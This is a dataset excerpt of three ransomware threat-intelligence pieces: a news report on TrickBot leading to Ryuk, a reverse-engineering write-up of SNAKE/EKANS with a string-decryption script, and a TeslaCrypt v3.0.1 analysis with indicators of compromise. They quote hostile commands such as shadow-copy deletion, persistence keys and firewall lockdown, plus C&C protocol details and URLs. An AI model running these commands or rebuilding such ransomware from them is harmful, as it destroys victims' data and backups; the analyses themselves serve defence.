text
stringlengths 8
115k
|
---|
# Ryuk Ransomware Deployed Two Weeks After Trickbot Infection
Activity logs on a server used by the TrickBot trojan in post-compromise stages of an attack show that the actor takes an average of two weeks pivoting to valuable hosts on the network before deploying Ryuk ransomware. After compromising the network, the attacker starts scanning for live systems that have specific ports open and stealing password hashes from the Domain Admin group.
## Manual Hacking
Researchers at SentinelOne have detailed the activity observed from logs on a Cobalt Strike server that TrickBot used to profile networks and systems. Once the actor took interest in a compromised network, they used modules from Cobalt Strike threat emulation software for red teams and penetration testers. One component is the DACheck script to check if the current user has Domain Admin privileges and check the members of this group. They also used Mimikatz to extract passwords that would help with lateral movement.
The researchers found that discovering computers of interest on the network is done by scanning for live hosts that have specific ports open. Services like FTP, SSH, SMB, SQL server, remote desktop, and VNC are targeted because they help move to other computers on the network or indicate a valuable target.
## Dropping Ryuk
According to SentinelOne’s examination, the threat actor profiles each machine to extract as much useful information as possible. This allows them to take complete control of the network and get access to as many hosts as possible. Reconnaissance and pivoting stages are followed by planting Ryuk ransomware and deploying it to all accessible machines using Microsoft’s PsExec tool for executing processes remotely. Based on the timestamps, SentinelOne researchers estimate that it took two weeks for the attacker to gain access to machines on the network and profile them before executing Ryuk.
Vitali Kremez of Advanced Intelligence (AdvIntel) security boutique told BleepingComputer that this average for the “incubation” period is accurate, although it varies from one victim to another. In some cases, Ryuk was deployed after just one day, while in other instances the file-encrypted malware was executed after the attacker had spent months on the network. Kremez told us that Ryuk infections have slowed down lately, as the threat actor is likely in a vacation kind of state. It is important to note that not all TrickBot infections are followed by Ryuk ransomware, probably because the actors take the time to analyze the data collected and determine if the victim is worth encrypting or not. |
# Reversing Golang Developed Ransomware: SNAKE
**Introduction**
Snake Ransomware (or EKANS Ransomware) is a Golang ransomware that has affected several companies such as Enel and Honda. The MD5 hashing of the analyzed sample is ED3C05BDE9F0EA0F1321355B03AC42D0. This sample is obfuscated with Gobfuscate, an open-source obfuscation project available on GitHub. Let’s start by quickly summarizing the functionality of the malware:
- First, the sample checks the domain to which the infected host belongs before continuing execution.
- Next, it checks whether the computer is a Backup Domain Controller or Primary Domain Controller, and if so, will only drop the ransom note rather than encrypting the machine.
- SNAKE will then isolate the host machine from the network by leveraging the netsh tool.
- The shadow copies on the system are deleted using WMI.
- SNAKE attempts to terminate any running AV, EDR, and SIEM components.
- Finally, local files on the system are encrypted. For each file, a unique AES encryption key is generated, which is later encrypted with an RSA-2048 public key and stored within the encrypted file.
Let’s start reversing this sample with IDA!
## Static Analysis
There are some differences of Go from other languages to keep in mind:
- Functions can return multiple values.
- Function parameters are passed on the stack.
- Strings are typically a sequence of bytes with a fixed length that are not null terminated; the string is represented by a structure formed by a pointer to a byte array and the length of the string.
- The constants are stored in one large buffer and sorted by length.
- Many stack manipulations are present within the binaries, which can make the analysis complex.
## Obfuscation
Opening the sample with IDA, we immediately notice that the function names are very obfuscated. Gobfuscate obfuscates almost all function names within the binary. Performing a quick search, I found that the malware is obfuscated with Gobfuscate. This project performs obfuscation of several components: Global names, Package names, Struct methods, and Strings. Each string in the binary is replaced by a function call. Each function contains two arrays that are XORed to get the original string. When implementing the decryption function, keep in mind that there are different ways in which these arrays are passed to the function `runtime.stringtoslicebyte` – either via a variable, a pointer, or a hardcoded value. Analyzing the sample, you will usually find the call to a main function that contains a large number of other calls within it, where each subroutine performs decryption of only one string. Sometimes only the decryption operations are found within these subroutines; other times, additional operations are performed on the decrypted string.
### String Decryption Functions
As mentioned, the string encryption is fairly basic, XORing the contents of two arrays together to retrieve the final string. Due to the simplicity of the algorithm, we can develop a simple Python script utilizing some regular expressions to locate and decrypt 90% of the encrypted strings within the binary! The script can be found at the end of this post.
```python
startDecryptFunction = b"\x64\x8B\x0D\x14\x00\x00\x00"
sliceStr = b"(" + b"\x8D.....\x89.\$\x04\xC7\x44\$\b...." + b")"
xorLoop = b"\x0F\xB6<\)1\xFE(\x83|\x81)\xFD"
```
With the majority of the strings decrypted, let’s continue the analysis!
## Check Environment
One of the first operations I perform when analyzing malware in Go is to jump to the `main.init` function. The `main.init` is generated for each package by the compiler to initialize all other packages that this sample relies on, as well as the global variables; analyzing this function is very important because it allows us to understand a large amount of the malware’s functionality and speed up subsequent analysis. In the `main.init` function, we can find, for example, references to encryption: AES, RSA, SHA1, X509. In addition, there are several functions for decryption of strings and function names.
### Initialisations performed within main.init function
Now we move on to analyze the `main.main` function. One of the first activities the malware performs is to check the environment before continuing with encryption. The function `CheckEnvironment` starts by attempting to resolve the hostname `mds.honda.com` and compare the returned value with `172[.]108[.]71[.]153`. This check is used to confirm that the infected machine is part of the correct domain. In fact, it is important to remember that this ransomware is deployed at the end of the infection chain by other loaders, and thus it is likely custom-built for the victim.
After the first environment check, the malware executes the API calls `CoInitializeEx`, `CoInitializeSecurity`, and `CoCreateInstance` to instantiate an object of the `SWbemLocator` interface. Using the `SWbemLocator` object, SNAKE then invokes the method `SWbemLocator::ConnectServer` and obtains a pointer to an `SWbemServices` object. Finally, with this object, it will execute `ExecQuery` with the following query: `select DomainRole from Win32_ComputerSystem` in an attempt to determine whether the infected computer is a server or a workstation. After making the query, the malware only continues execution if the `DomainRole` value is equal to or less than 3.
According to Microsoft documentation, the integers returned by the call correspond to different values:
| VALUE | MEANING |
|-------|-------------------------------|
| 0 | Standalone Workstation |
| 1 | Member Workstation |
| 2 | Standalone Server |
| 3 | Member Server |
| 4 | Backup Domain Controller |
| 5 | Primary Domain Controller |
Therefore, the malware performs the infection only if the role obtained of the computer is Standalone Workstation, Member Workstation, Standalone Server, or Member Server. If this check is successful, the mutex `Global\EKANS` is created, and presuming the mutex is created successfully, the sample continues executing. If, on the other hand, the computer role is either a backup domain controller or primary domain controller, a ransom note is dropped to `C:\Users\Public\Desktop`, and files are not encrypted. Within the ransom note is an email on how to contact the threat actors, with the email used in this sample being `[email protected]`.
When analyzing Go developed programs, two functions to pay attention to are `NewLazyDll` (essentially `LoadLibrary`), and `NewProc` (as you may have guessed, basically `GetProcAddress`). With the use of Gobfuscate to obfuscate this sample, the names of the libraries and API functions to be passed to the described functions. Pointers to the loaded libraries/functions are stored within DWORDs for later reference.
### Execution flow depending on the result of the DomainRole
After the function `CheckEnvironment` has finished, the strings `netsh advfirewall set allprofiles state on` and `netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound` are decrypted and executed via `cmd.run`. The first command enables Windows Firewall for all network profiles, while the second blocks all incoming and outgoing connections. This is fairly unusual behavior for ransomware, which typically performs lateral movement across a network to infect additional machines.
## Terminate Process and Services
Prior to encryption, the ransomware terminates a number of processes to reduce the amount of interference with the encryption (for example, any open file handles), as well as disable any running EDR/SIEM software on the machine. Processes are terminated using `syscall.OpenProcess` and `syscall.TerminateProcess` calls. In order for SNAKE to retrieve the PIDs of the target processes, the usual calls of `CreateToolhelp32Snapshot`, `Process32FirstW`, and `Process32NextW` are performed. In addition to terminating processes, the ransomware stops more than 200 services related to EDR, SIEM, AV, etc.
In order to terminate services, the following API function calls are made:
- `OpenSCManagerA`: gets a service control manager handle for subsequent calls.
- `EnumServicesStatusEx`: enumeration of services.
- `OpenServiceW`: gets a service handle for subsequent calls.
- `QueryServiceStatusEx`: check the status of services.
- `ControlService`: used to stop the service (flag `SERVICE_CONTROL_STOP`).
## Shadow Copy Deletion
The ransomware executes the WMI query `SELECT * FROM Win32_ShadowCopy` to get the IDs of Shadow Copies and will always use WMI for deletion. In addition to the `Wbemscripting.SWbemLocator` object, `WbemScripting.SWbemNamedValueSet` is also created. For deletion, SNAKE uses the `DeleteInstance` method by passing the ID of previously obtained Shadow Copies.
## Encryption Process
SNAKE first encrypts all the various files by initializing 8 go-routines (`runtime.newproc`), before beginning to rename the files. Before beginning encryption of the file, it’s checked that it has not already been encrypted by checking for the presence of the string `EKANS` at the end of the file. If the file hasn’t yet been encrypted and the files are among those to be encrypted (there is an allowlist and a denylist), encryption is initiated, which takes care of:
- Generating AES key for each file; this key is encrypted with an RSA public key in OAEP Mode.
- Encryption of file via AES in CTR mode, with Random Key (32 bytes) and Random IV (16 bytes).
- A random 5 character is appended to the file extension of encrypted files.
- Adds data to the end of the file: encrypted AES Key, IV, and EKANS string.
After instantiating the CTR cipher with `cipher.NewCTR`, encryption is performed with the `XORKeyStream` method of that class. The function reads `0x19000` bytes at a time and after encryption, the file is rewritten using `WriteAt`.
After finishing the encryption, three more writes are performed on the file:
- The encrypted AES Key
- The random IV
- The path of the encrypted file
The AES Key for each file is encrypted with a public RSA key. After decryption, the public key is parsed with `pem.decode` and `x509.ParsePKCS1PublicKey`. The first parameter of the `EncryptOAEP` function must be the hash function, which in this case is SHA1.
Various extensions, files, and folders are excluded for file encryption, also using a regex.
### Partially excluded Files:
- Iconcache.db
- Ntuser.dat
- Desktop.ini
- Ntuser.ini
- Usrclass.dat
- Usrclass.dat.log1
- Usrclass.dat.log2
- Bootmgr
- Bootnxt
- Ntuser.dat.log1
- Ntuser.dat.log2
- Boot.ini
- ctfmon.exe
- bootsect.bak
- ntdlr
### Partially excluded extensions:
- Exe
- Dll
- Sys
- Mui
- Tmp
- Lnk
- config
- settingcontent-ms
- Tlb
- Olb
- Bfl
- ico
- regtrans-ms
- devicemetadata-ms
- Bat
- Cmd
- Ps1
### Excluded Paths:
- \ProgramData
- \Users\All Users
- \Temp\
- \AppData\
- \Boot
- \Local Settings
- \Recovery
- \Program Files
- \System Volume Information
- \$Recycle.Bin
- .+\\Microsoft\\(User Account Pictures|Windows\\(Explorer|Caches)|Device
And that just about wraps up this post on the SNAKE Ransomware!
## Decryption Script
```python
#!/usr/bin/env python3
import re, struct, pefile, sys
pe = None
imageBase = None
def GetRVA(va):
return pe.get_offset_from_rva(va - imageBase)
def GetVA(raw):
return imageBase + pe.get_rva_from_offset(raw)
def main():
global pe, imageBase
filename = sys.argv[1]
with open(filename, 'rb') as sample:
data = bytearray(sample.read())
pe = pefile.PE(filename)
imageBase = pe.OPTIONAL_HEADER.ImageBase
startDecryptFunction = b"\x64\x8B\x0D\x14\x00\x00\x00"
sliceStr = b"(" + b"\x8D.....\x89.\$\x04\xC7\x44\$\b...." + b")"
xorLoop = b"\x0F\xB6<\)1\xFE(\x83|\x81)\xFD"
regex = startDecryptFunction + b".{10,100}" + sliceStr + b".{10,100}" + sliceStr + b".{10,100}" + xorLoop
pattern = re.compile(regex, re.MULTILINE|re.DOTALL)
found = pattern.finditer(bytes(data))
for m in found:
va = GetVA(m.start())
funcVA = GetVA(m.start())
str1VA = struct.unpack("<L", data[m.start(1) + 2 : m.start(1) + 2 + 4])[0]
str1Len = struct.unpack("<L", data[m.start(1) + 0xE : m.start(1) + 0xE + 4])[0]
str2VA = struct.unpack("<L", data[m.start(2) + 2 : m.start(2) + 2 + 4])[0]
str1RVA = GetRVA(str1VA)
str2RVA = GetRVA(str2VA)
decrypted = ""
for i in range(str1Len):
decrypted += chr((data[str2RVA+i] ^ (data[str1RVA+i] + i * 2)) & 0xFF)
print(f"## (hex(funcVA)) - {decrypted}")
if __name__ == "__main__":
main()
``` |
# CHECK POINT
## LOOKING INTO TESLACRYPT V3.0.1
### BY STANISLAV SKURATOVICH, MALWARE REVERSE ENGINEER
### MALWARE REVERSE ENGINEERING TEAM
## OVERVIEW
TeslaCrypt is a very popular ransomware that first appeared in the wild at the beginning of 2015. Since its first appearance, TeslaCrypt has undergone several version changes, with each version introducing new abilities, fixing old bugs, adding new evasion techniques, and using new technologies. Several months ago, a new version of TeslaCrypt, v3.0.1, was released. It again introduces several notable changes, perhaps the most important of which is the ability to encrypt files while offline – i.e., C&C communication is not mandatory to initiate the encryption process. The new version also hides its activities by executing on very low priority, as well as closing applications that may lead to detection. To provide a better understanding of the newly implemented mechanisms that support these new features, our research teams decided to closely examine this new version. This report details the inner workings of TeslaCrypt v3.0.1, as well as provides techniques that can be used to detect and block its malicious operations.
## MALWARE FUNCTIONALITY AND PAYLOAD
The ransomware performs some initialization steps before starting the routines responsible for key generation and data decryption. First of all, the malware checks the SECURITY_MANDATORY level by calling the GetSidSubAuthority function and removes the :ZoneIdentifier stream from a binary file. If the integrity level is SECURITY_MANDATORY_LOW_RID, the ransomware uses the ShellExecuteEx function with a runas action for this command:
`{WINDOWS_DIRECTORY}\system32\cmd.exe /c "" ${PATH_TO_EXE}`
If the SECURITY_MANDATORY level is different, the ransomware checks if its path to the execution file contains the windir environment variable or CSIDL_MYDOCUMENTS (which depends on the user belonging to the Administrator group). If the path contains these specific directories, the ransomware continues execution. Otherwise, it copies the image file to one of the directories, depending on the user account rights. The name of the file is generated randomly and contains 0x0C lower ASCII symbols. It then executes the newly copied file and removes the original file with this command:
`{WINDOWS_DIRECTORY}\system32\cmd.exe /c DEL ${PATH_TO_EXE}`
The ransomware tries to stay persistent on the infected system by adding the following entry to the registry key:
`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ${STRING_0x0C_RAND_LOWER}="C:\WINDOWS\system32\cmd.exe /c start "" "${PATH_TO_EXE}""`
In order to allow higher-level applications to access mapped network drives, the ransomware sets the following registry key value to 1:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections`
The ransomware reads the image checksum by accessing the field IMAGE_NT_HEADERS.Optional-Header.CheckSum. The strange thing is that it saves only the 2 middle bytes of that checksum in the process space. To run only one instance of the executable, the ransomware creates a mutex with the following name: `8765-123rvr4`.
At this point, the ransomware starts checking if it was already executed on the infected computer. First of all, it queries the following registry keys for the presence of the ID subkey:
`HKEY_USERS\S-1-5-18\Software\zzzsys`
`HKEY_CURRENT_USER\Software\zzzsys`
If such a subkey is present, the ransomware reads the value stored under it. This subkey specifies the InstanceID for the compromised machine. If the subkey is absent, the ransomware generates 0x08 random bytes (InstanceID) and stores them under the `HKEY_CURRENT_USER\Software\zzzsys\ID` registry key. The ID is converted to the hexlified string representation using the following format: %X%X%X%X%X%X%X%X.
After generating or loading the ID, the ransomware checks the following registry keys for the presence of the data subkey:
`HKEY_USERS\S-1-5-18\Software\zzzsys\hexlified_ID`
`HKEY_CURRENT_USER\Software\zzzsys\hexlified_ID`
If the data subkey is present and the value length is equal to 0x100 bytes, the ransomware assumes that all global encryption keys are generated and initializes the following buffers:
```c
struct reg_data {
char EC_GLOB_BTN_ADDR[0x30]; // Bitcoin Address
char G_EC_REC_PUB__AES_EC_GLOB_PRIV[0x80]; // Global recovery data
char EC_GLOB_PUB_point2oct[0x48]; // Global public key converted to octet
uint64_t EncryptionKeysGenerationTime; // Time when encryption keys were generated
};
```
If the data is valid, the ransomware generates only session ECDH keys that will be used for data encryption. If the data is absent or invalid, the ransomware performs the whole process of encryption key generation. After the generation process, keys are saved to the following registry key using the same structure presented above:
`HKEY_CURRENT_USER\Software\zzzsys\hexlified_ID\data`
At this point, all initialization steps are performed, so the ransomware starts the following threads:
- Process killing thread.
- Remove Shadow Copy thread if the OSVERSIONINFO.dwBuildNumber does not equal the 0xA28, which refers to the Windows XP build number.
Before starting disk encryption, the ransomware decrypts some additional information as file extensions that are normally encrypted: C&C server addresses and messages about the ransom. The decryption process starts with some preprocessing of encrypted internal data. After that, the preprocessed data is decrypted using a RC2-CBC-PKCS5 stream cipher with the key kasdfgh283 and an IV specific for each decrypted string.
The ransomware generates a random string with a length of 0x09 bytes and uses it as part of the recovery file name:
`CSIDL_MYDOCUMENTS\recover_file_${rand_name}.txt`
The following data is saved to this file (each field is separated with a newline symbol \n):
- Format: EC_GLOB_BTN_ADDR
- Data: G_EC_REC_PUB__AES_EC_GLOB_PRIV
- hexlified_id
- Image partial checksum
Another thing the malware does is prepare 3 versions of the ransom message: as a web page, as an image, and as a plaintext message. After all these actions, the ransomware starts the following threads:
- Internet communication thread that is responsible for sending the Sub=Ping command to the C&C server.
- Encryption thread, setting its priority to IDLE to avoid drastic increase of CPU usage.
The ransomware performs disk encryption operations using an AES-CBC-128 algorithm with the previously generated random keys. The file header that stores encryption-related information and encrypted data are stored in the original file. After these operations, the ransomware appends an .mp3 extension to the original file name. Recovery files that notify the user about the encryption are stored in the directories.
The ransomware waits until the encryption thread finishes the disk encryption. After the encryption process is finished, the ransomware creates three files on the desktop and executes the ShellExecute function with the action open to show these files to the user:
- `${DESKTOP}\RECOVERY.TXT`: Ransom message in plaintext
- `${DESKTOP}\RECOVERY.HTM`: Ransom message as web-page
- `${DESKTOP}\RECOVERY.png`: Ransom message as image
At this point, the encryption process is finished, so the ransomware starts the following threads:
- Internet communication thread that is responsible for sending the Sub=Crypted command to the C&C server.
- Remove Shadow Copy thread for the second time if the OSVERSIONINFO.dwBuildNumber does not equal the 0xA28, which refers to Windows XP build number.
At the end, the ransomware performs cleaning operations by removing the executable file from the disk using this command:
`{WINDOWS_DIRECTORY}\system32\cmd.exe /c DEL ${PATH_TO_EXE}`
## RANDOM FUNCTION
To generate random data, the ransomware uses its own randomization function. When the randomization function is called, the ransomware checks if initialization buffers were previously generated. If not, the ransomware starts the process of buffer initialization. To randomize data in these buffers, it uses the following information:
- Statistical information about the LanmanWorkstation workstation, received by calling the NetGetStatistics function.
- Statistical information about the LanmanServer server, received by calling the NetGetStatistics function.
- Random buffer of size 0x40, generated by calling the CryptGenRandom function with a PROV_RSA_FULL provider.
- Random buffer of size 0x40, generated by calling the CryptGenRandom function with a PROV_INTEL_SEC provider, if such a provider is present in the system.
- Heap chunk information of the ransomware process.
- Process, module, and thread information.
- QueryPerformanceCounter function results.
- GlobalMemoryStatus function results.
- Current process' PID.
After the initialization buffers are filled, the ransomware uses them to generate random data. At the same time, it changes the buffers’ initial state to avoid generating the same data. It should be emphasized that a SHA1 algorithm is used in this function.
## ENCRYPTION KEY GENERATION
The ransomware uses asymmetric cryptography during the key generation process. Asymmetric cryptography protocol is called Elliptic Curve Diffie-Hellman, which is a variety of Diffie-Hellman that uses elliptic curve cryptography. The standardized curve secp256k1 is used during the key generation process.
The ransomware generates three sets of ECDH keys:
- Global ECDH keys that are generated only once, when the ransomware installs itself in the system.
- ECDH keys that are used to encrypt global ECDH keys.
- Session ECDH keys that are generated each time, when the ransomware is restarted. These keys are used to encrypt the user's data.
The ransomware uses AES-CBC-128 as a symmetric algorithm to encrypt the user's data. The full process of key generation is described in the sections below. There are EC_GENERATOR states for the secp256k1 object.
### GLOBAL ECDH KEY GENERATION (EC_GLOB)
The ransomware starts with the global ECDH key generation. This process is described step by step:
1. Generate a random number of 0x20 byte size. This number is the global private key EC_GLOB_PRIV. It is deleted later to avoid data decryption without ransom payment.
2. Calculate the SHA256 hashsum of EC_GLOB_PRIV. This value is called EC_GLOB_SHA_PRIV.
3. Calculate the global public key EC_GLOB_PUB by performing the following operations:
`EC_GLOB_PUB = EC_GENERATOR * EC_GLOB_SHA_PRIV`
4. Calculate the global public BitCoin key by performing the following operations:
`EC_GLOB_BTN_PUB = EC_GENERATOR * EC_GLOB_PRIV`
After global keys are generated, the ransomware moves to the process of global recovery key generation. The ransomware calculates the BitCoin address EC_GLOB_BTN_ADDR using EC_GLOB_BTN_PUB as a public key.
### RECOVERY ECDH KEY GENERATION (EC_REC)
The ransomware performs the following steps to generate the global recovery key:
1. Import the server public key SRV_PUB by setting hardcoded affine coordinates from the binary.
2. Generate a pair of private/public keys EC_REC_PRIV and EC_REC_PUB = EC_GENERATOR * EC_REC_PRIV. EC_REC_PRIV is deleted later to avoid data decryption without ransom payment.
3. Generate a global shared secret key using the SHA256 hashsum of:
`GLOB_SHARED = EC_REC_PRIV * SRV_PUB`. This value is called GLOB_SHA_SHARED.
4. Encrypt EC_GLOB_PRIV using an AES-CBC-128 encryption algorithm. Concatenate EC_REC_PUB and encrypted EC_GLOB_PRIV to receive global recovery data G_EC_REC_PUB__AES_EC_GLOB_PRIV.
### SESSION ECDH KEY GENERATION (EC_SESS)
The ransomware performs these steps to generate a session AES-CBC-128 encryption key (used to encrypt the user's data):
1. Generate a random buffer of 0x20 byte size. The generated buffer is used as a key for the AES-CBC-128 algorithm (further SESS_AES_KEY).
2. Generate a pair of private/public keys EC_SESS_PRIV and EC_SESS_PUB = EC_GENERATOR * EC_SESS_PRIV. EC_SESS_PRIV is deleted later to avoid data decryption without ransom payment.
3. Generate a session shared secret key using the SHA256 hashsum of:
`SESS_SHARED = EC_SESS_PRIV * EC_GLOB_PUB`.
4. Encrypt SESS_AES_KEY using an AES-CBC-128 encryption algorithm. Concatenate EC_SESS_PUB and encrypted SESS_AES_KEY to receive the shared recovery data G_EC_SESS_PUB__AES_SESS_AES_KEY.
## PROCESS KILLING THREAD
This thread is responsible for enumerating currently running processes in the operating system by using function EnumProcesses. The ransomware kills a process if one of the following substrings is found in the process' name:
| Substrings | Blacklisted processes |
|------------|-----------------------|
| Askmg | Task Manager |
| Rocex | Process Explorer |
| Egedi | Registry Editor |
| sconfi | System Configurator |
| Cmd | Command Line |
## REMOVE SHADOW COPY THREAD
This thread is responsible for removing shadow copies on the affected system to avoid restoring encrypted files from backup. The following steps are performed:
1. Disable file system redirection for the current thread, if the Wow64DisableWow64FsRedirection function is available.
2. Execute the ShellExecuteEx function with one of the following commands:
- `wmic.exe shadowcopy delete /noninteractive` (verb=runas)
- `wmic.exe shadowcopy delete /noninteractive` (verb=open)
3. Revert file system redirection for the current thread, if the Wow64RevertWow64FsRedirection function is available.
## ENCRYPTION THREAD
The ransomware generates a pseudo-random string (further REC_FILENAME) of 5 byte length using the rand function and the value returned by GetTickCount as a seed. The ransomware gets all the drives in the system by calling the GetLogicalDriveStrings function. Drives A:\ and B:\ are skipped. Drives that are not of one of the following types are skipped as well: DRIVE_FIXED, DRIVE_REMOTE, DRIVE_REMOVABLE. At the same time, all network resources are enumerated recursively using the WNet family functions. The ransomware looks for resources with the type RESOURCETYPE_DISK. If such a resource is found, its remote name is added to the array of paths to encrypt.
All drives and network disk resources are encrypted according to the rules described below. The ransomware enumerates the directories recursively and performs the following actions inside each:
1. Encrypt files in the directory.
2. Check if the directory name belongs to the list presented below. If the name equals one of these, this directory is omitted:
- CSIDL_COMMON_DESKTOPDIRECTORY
- CSIDL_DESKTOPDIRECTORY
- CSIDL_CDBURN_AREA
- .*Desktop.*
- .*${MODULE_NAME}.*
The following files are created in the affected directories:
- `"%s\\%s+%s.png" % (${CWD}, ""_RECoVERY_", ${REC_FILENAME})`: Image with ransom payment information
- `"%s\\%s+%s.html" % (${CWD}, ""_RECoVERY_", ${REC_FILENAME})`: Web browser page with ransom payment information
- `"%s\\%s+%s.txt" % (${CWD}, ""_RECoVERY_", ${REC_FILENAME})`: Plaintext with ransom payment information
It should be emphasized that the following directories are skipped when performing the described operations:
- .
- ..
- CSIDL_COMMON_APPDATA
- CSIDL_PROGRAM_FILES
- CSIDL_WINDOWS
If the directory passes all the checks, the ransomware starts the process of file encryption. To check if a file is already encrypted or belongs to the infection meta-information file, the ransomware checks if the filename contains one of the following substrings case-insensitively (such a file is skipped):
- .mp3
- recove
The ransomware encrypts only files with specific extensions.
## ENCRYPT FILES
The ransomware does not encrypt a file if its size is less than 0x20 bytes or larger than 0x13800000 bytes. If the 24th byte of a file equals the 0x04 value, the file is skipped as well. The ransomware encrypts the file content with an AES-CBC-128 encryption algorithm. It uses the previously generated SESS_AES_KEY as a key and the hardcoded buffer as an IV.
The ransomware saves specific meta information to the encrypted file, as well as ciphertext. The structure of an encrypted file is presented below:
```c
struct enc_file {
char zero_0[8]; // null bytes
char inst_id[8]; // instance ID
char zero_1[8]; // null bytes
char G_EC_REC_PUB__AES_EC_GLOB_PRIV[0x80]; // Global recovery data
char EC_GLOB_PUB_point2oct[0x44]; // Global public key converted to octet
char G_EC_SESS_PUB__AES_SESS_AES_KEY[0x80]; // Shared recovery data
char aes_iv_file_enc[0x10]; // AES IV used during files encryption
uint32_t orig_file_size; // original file size
char enc_data[0]; // ciphertext
};
```
The ransomware appends an .mp3 extension to the encrypted file. If a file with this name already exists, the ransomware removes it, sleeps for 400 milliseconds, and tries to save the encrypted data to a file once again.
## NETWORK AND COMMUNICATION
The ransomware communicates with the C&C server to send information about the encryption keys, infected machine, and the malware itself. The first communication attempt is performed before the encryption process; the second one is performed after all data on the compromised system is encrypted. If the ransomware fails to establish communication with one of the C&C servers, it ends the thread without sending any information to the server. It should be emphasized that encryption is performed even with failed communication.
The ransomware sends packets to the C&C server using HTTP POST requests on the default TCP/80 port, with the following header values:
- Accept: */*
- Content-Type: application/x-www-form-urlencoded
- UserAgent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
### CLIENT REQUEST
The HTTP POST request contains the following data:
- Sub=%s
- dh=%s
- addr=%s
- size=%lld
- version=%s
- OS=%ld
- ID=%d
- inst_id=%X%X%X%X%X%X%X%X
Each parameter is described below.
| Field Name | Description |
|------------|-------------|
| Sub | Command type |
| dh | Hexlified ECDH Global recovery key G_EC_REC_PUB__AES_EC_GLOB_PRIV |
| addr | Machine-specific bitcoin address, where ransom should be paid |
| size | Size of encrypted files in total (Mb) |
| version | Malware version (3.0.1 in researched sample) |
| OS | Operating system build number |
| ID | Part of malware image file checksum |
| inst_id | Machine-specific unique ID |
When sending the initial packet to the C&C server, the ransomware uses the Sub=Ping command type. When sending the packet after whole disk encryption, the ransomware uses the Sub=Crypted command type.
The ransomware encrypts and encodes the data when it communicates with the C&C. It calculates the SHA256 checksum of the decrypted hardcoded string. The received hashsum is used as a key for the AES-CBC-128 encryption algorithm.
## SERVER RESPONSE
The ransomware assumes that the C&C handled the request correctly if the response contains the INSERTED string.
## DECRYPTION PROCESS
This section presents the details of the decryption process that may be performed after ransom payment:
1. The infected computer has the following meta information about the encryption process: G_EC_SESS_PUB__AES_SESS_AES_KEY, EC_GLOB_PUB, G_EC_REC_PUB__AES_EC_GLOB_PRIV.
2. As G_EC_REC_PUB__AES_EC_GLOB_PRIV was previously transferred to the C&C server, the decrypter can extract the EC_REC_PUB key and calculate:
`GLOB_SHARED = SRV_PRIV * EC_REC_PUB`. It then calculates the SHA256 hashsum of the key GLOB_SHA_SHARED.
3. It can decrypt EC_GLOB_PRIV using an AES-CBC-128 algorithm with GLOB_SHA_SHARED as a key, and then calculate the SHA256 hashsum of EC_GLOB_SHA_PRIV. It sends this key with a local decrypter to the infected machine.
4. The local decrypter on the infected machine enumerates all encrypted files and uses EC_GLOB_SHA_PRIV to restore the session shared key:
`SESS_SHARED = EC_SESS_PUB * EC_GLOB_SHA_PRIV`. It then calculates the SHA256 hashsum of SESS_SHA_SHARED. EC_SESS_PUB is taken from session recovery data G_EC_SESS_PUB__AES_SESS_AES_KEY that is saved in the encrypted file header.
5. The local decrypter on the infected machine decrypts SESS_AES_KEY key using an AES-CBC-128 algorithm with the key SESS_SHA_SHARED.
6. As a last step, the decrypter restores the files using an AES-CBC-128 algorithm with the SESS_AES_KEY key and the IV `\x12\x65\x1C\x01\x31\x8D\x69\x26\x17\x81\x97\xFF\x0E\xAD\xFA\xAA` that is stored in the encrypted file header.
If the infected machine was not able to communicate with the C&C server, the G_EC_REC_PUB__AES_EC_GLOB_PRIV data was not sent. To decrypt data without sending the SRV_PRIV key to the infected machine, the cybercriminals may ask the user to send one of the encrypted files. As the encrypted file header contains the G_EC_SESS_PUB__AES_SESS_AES_KEY, EC_GLOB_PUB, and G_EC_REC_PUB__AES_EC_GLOB_PRIV, the cybercriminals can then perform the same actions as described previously.
## SUMMARY
Based on the information we presented, it seems it is impossible to decrypt data without paying a ransom, as we have to solve the discrete logarithm problem. As keys are generated using a self-implemented randomization function (that still contains unpredictable data), cryptographic attacks on that function may be successful.
## INDICATORS OF COMPROMISE
### Static indicators
- Presence of files with the following SHA256 checksums in the filesystem:
- 3e730bb707b5c9d45e10dc500f0281a50e58badbbdfa6f5038e077c4ace125d4
- 366d1629a83acad94ced95c4b782ec00a2cc0096598b6824421aed1859d37c1a
- 7097913d473590c8fc507d8b8b6eaee8cd9db77888ebb14fc193eafeac039d7a
- 79743fb8f3dbef7b6066ed030ac488fe63038708cd227e7f52f4411540f2d5a4
- 8008a7f9920f8d61f2295ab82a9a3efac0c3a1c466213fe43afe7407bdab03d7
- f2a7d3bd2430d3d8b56d04d2d56a67cb57452e5bacf85ffe37433c73cee6d40d
- 7b709122af3222d4e533ade64ab9bef3f79c6aa97370f876af5a6b90a834c7fe
### Dynamic indicators
- Communication with the following C&C servers:
- http://ricardomendezabogado.com/components/com_imageshow/wstr.php
- http://opravnatramvaji.cz/modules/mod_search/wstr.php
- http://gianservizi.it/wp-content/uploads/wstr.php
- http://ptlchemicaltrading.com/images/gallery/wstr.php
- http://3m3q.org/wstr.php
- http://suratjualan.com/copywriting.my/image/wstr.php
- http://imagescroll.com/cgi-bin/Templates/bstr.php
- http://music.mbsaeger.com/music/Glee/bstr.php
- http://stacon.eu/bstr.php
- http://surrogacyandadoption.com/bstr.php
- http://worldisonefamily.info/zz/libraries/bstr.php
- http://biocarbon.com.ec/wp-content/uploads/bstr.php
- Presence of the following mutex in the system: `8765-123rvr4`
- Importing a specific plaintext decryption key: `kasdfgh283`
- HTTP specific packets during the network communication.
- Presence of the following registry keys:
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` with a string of length 0x0C that consists only of lower letters.
- `HKEY_USERS\S-1-5-18\Software\zzzsys` with ID REG:BINARY of size 8 bytes.
- `HKEY_CURRENT_USER\Software\zzzsys` with ID REG:BINARY of size 8 bytes.
- `HKEY_USERS\S-1-5-18\Software\zzzsys\hexlified_ID` with data REG:BINARY of size 0x100 bytes.
- `HKEY_CURRENT_USER\Software\zzzsys\hexlified_ID` with data REG:BINARY of size 0x100 bytes.
- Presence of the following files in the system:
- `CSIDL_MYDOCUMENTS\recover_file_${random_0x09_lower}.txt`
- `${DESKTOP}\RECOVERY.TXT`
